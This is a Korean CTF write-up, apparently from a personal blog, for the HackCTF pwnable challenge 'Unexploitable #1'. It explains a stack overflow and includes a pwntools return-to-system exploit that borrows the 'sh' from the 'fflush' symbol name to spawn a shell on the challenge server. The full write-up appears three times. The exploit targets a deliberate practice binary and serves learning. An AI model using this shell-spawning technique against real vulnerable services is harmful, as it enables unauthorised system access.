[ Pwnable ] Unexploitable #1 write-up 본문

Pwnable/HackCTF write-up

[ Pwnable ] Unexploitable #1 write-up

disso1p1 2020. 11. 6. 00:50

 

 

 

[ 메모리 보호기법 ]

checksec

 

 

main

 

바이너리의 main 함수 코드이다.

출력문을 보면 RTL 을 하는 것 같다.

일단 변수 s 의 시작주소는 rbp-0x10 인데, fgets 함수에서 최대 0x40 bytes 만큼 받을 수 있으므로 BOF 가 발생한다.

 

 

다른 함수들을 보니까 gift 라는 함수가 있다.

 

gift

system 함수가 있으므로 이걸 나중에 쓰면 될 듯하다.

ROP 로 풀면 풀 수 있겠지만, Easy RTL ? 이라고 하니 RTL 로 풀 수 있는 문제인 것 같았다. ( 생각해보니까 ROP 안됨. 가젯이 없음. csu_init 으로는 길이가 너무 길어서 안됨 )

 

system 함수는 있으니 "/bin/sh/" 라는 문자열만 있으면 된다.

 

 

하지만 "/bin/sh" 라는 문자열이 이 바이너리 내부에 없으면 RTL 로 풀 수 없다.

 

 

고민을 하다가 라업을 앞부분만 조금 봤다 ㅎ.

 

 

엄청난 걸 발견했다.

 

1. fflush 함수에서 "sh" 를 사용하자.

2. system("/bin/sh"); 말고, system("sh"); 도 가능하다.

 

 

함수 이름이 있는 위치를 찾아서 's' 가 있는 주소를 rdi 에 넣으면 sh\0 의 주소가 들어갈 것이다. 딱 맞다.

 

 

[ exploit ]

from pwn import *

#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', '3023')
e = ELF('./Unexploitable_1')

prdi = 0x00000000004007d3 # pop rdi

pay = ''
pay += 'A'*0x18
pay += p64(prdi)
pay += p64(0x00000000004003Bf) # 'sh\0'
pay += p64(e.symbols['gift']+9) # system()
p.sendlineafter('\n', pay)

p.interactive()

 

생각하면 쉬운 문제이지만, 이런 문제를 풀 때마다 포너블을 하는데 조금씩 넓게 생각하는 방법을 알아가는 것 같다.

 

좋은 문제인 것 같당

 

 

 

푸는 문제마다 선배한테나 라업을 보고 힌트를 얻어 푸는 것 같다.

내가 혼자 풀 수 있는 날은 언제 오나용 ~

'Pwnable > HackCTF write-up' 카테고리의 다른 글

[ Pwnable ] Unexploitable #3 write-up  (0) 2020.11.06
[ Pwnable ] Unexploitable #2 write-up  (0) 2020.11.06
[ Pwnable ] SysROP write-up  (0) 2020.11.05

 

 

 

[ 메모리 보호기법 ]

checksec

 

 

main

 

바이너리의 main 함수 코드이다.

출력문을 보면 RTL 을 하는 것 같다.

일단 변수 s 의 시작주소는 rbp-0x10 인데, fgets 함수에서 최대 0x40 bytes 만큼 받을 수 있으므로 BOF 가 발생한다.

 

 

다른 함수들을 보니까 gift 라는 함수가 있다.

 

gift

system 함수가 있으므로 이걸 나중에 쓰면 될 듯하다.

ROP 로 풀면 풀 수 있겠지만, Easy RTL ? 이라고 하니 RTL 로 풀 수 있는 문제인 것 같았다. ( 생각해보니까 ROP 안됨. 가젯이 없음. csu_init 으로는 길이가 너무 길어서 안됨 )

 

system 함수는 있으니 "/bin/sh/" 라는 문자열만 있으면 된다.

 

 

하지만 "/bin/sh" 라는 문자열이 이 바이너리 내부에 없으면 RTL 로 풀 수 없다.

 

 

고민을 하다가 라업을 앞부분만 조금 봤다 ㅎ.

 

 

엄청난 걸 발견했다.

 

1. fflush 함수에서 "sh" 를 사용하자.

2. system("/bin/sh"); 말고, system("sh"); 도 가능하다.

 

 

함수 이름이 있는 위치를 찾아서 's' 가 있는 주소를 rdi 에 넣으면 sh\0 의 주소가 들어갈 것이다. 딱 맞다.

 

 

[ exploit ]

from pwn import *

#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', '3023')
e = ELF('./Unexploitable_1')

prdi = 0x00000000004007d3 # pop rdi

pay = ''
pay += 'A'*0x18
pay += p64(prdi)
pay += p64(0x00000000004003Bf) # 'sh\0'
pay += p64(e.symbols['gift']+9) # system()
p.sendlineafter('\n', pay)

p.interactive()

 

생각하면 쉬운 문제이지만, 이런 문제를 풀 때마다 포너블을 하는데 조금씩 넓게 생각하는 방법을 알아가는 것 같다.

 

좋은 문제인 것 같당

 

 

 

푸는 문제마다 선배한테나 라업을 보고 힌트를 얻어 푸는 것 같다.

내가 혼자 풀 수 있는 날은 언제 오나용 ~

'Pwnable > HackCTF write-up' 카테고리의 다른 글

[ Pwnable ] Unexploitable #3 write-up  (0) 2020.11.06
[ Pwnable ] Unexploitable #2 write-up  (0) 2020.11.06
[ Pwnable ] SysROP write-up  (0) 2020.11.05

 

 

 

[ 메모리 보호기법 ]

checksec

 

 

main

 

바이너리의 main 함수 코드이다.

출력문을 보면 RTL 을 하는 것 같다.

일단 변수 s 의 시작주소는 rbp-0x10 인데, fgets 함수에서 최대 0x40 bytes 만큼 받을 수 있으므로 BOF 가 발생한다.

 

 

다른 함수들을 보니까 gift 라는 함수가 있다.

 

gift

system 함수가 있으므로 이걸 나중에 쓰면 될 듯하다.

ROP 로 풀면 풀 수 있겠지만, Easy RTL ? 이라고 하니 RTL 로 풀 수 있는 문제인 것 같았다. ( 생각해보니까 ROP 안됨. 가젯이 없음. csu_init 으로는 길이가 너무 길어서 안됨 )

 

system 함수는 있으니 "/bin/sh/" 라는 문자열만 있으면 된다.

 

 

하지만 "/bin/sh" 라는 문자열이 이 바이너리 내부에 없으면 RTL 로 풀 수 없다.

 

 

고민을 하다가 라업을 앞부분만 조금 봤다 ㅎ.

 

 

엄청난 걸 발견했다.

 

1. fflush 함수에서 "sh" 를 사용하자.

2. system("/bin/sh"); 말고, system("sh"); 도 가능하다.

 

 

함수 이름이 있는 위치를 찾아서 's' 가 있는 주소를 rdi 에 넣으면 sh\0 의 주소가 들어갈 것이다. 딱 맞다.

 

 

[ exploit ]

from pwn import *

#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', '3023')
e = ELF('./Unexploitable_1')

prdi = 0x00000000004007d3 # pop rdi

pay = ''
pay += 'A'*0x18
pay += p64(prdi)
pay += p64(0x00000000004003Bf) # 'sh\0'
pay += p64(e.symbols['gift']+9) # system()
p.sendlineafter('\n', pay)

p.interactive()

 

생각하면 쉬운 문제이지만, 이런 문제를 풀 때마다 포너블을 하는데 조금씩 넓게 생각하는 방법을 알아가는 것 같다.

 

좋은 문제인 것 같당

 

 

 

푸는 문제마다 선배한테나 라업을 보고 힌트를 얻어 푸는 것 같다.

내가 혼자 풀 수 있는 날은 언제 오나용 ~

'Pwnable > HackCTF write-up' 카테고리의 다른 글

[ Pwnable ] Unexploitable #3 write-up  (0) 2020.11.06
[ Pwnable ] Unexploitable #2 write-up  (0) 2020.11.06
[ Pwnable ] SysROP write-up  (0) 2020.11.05
Comments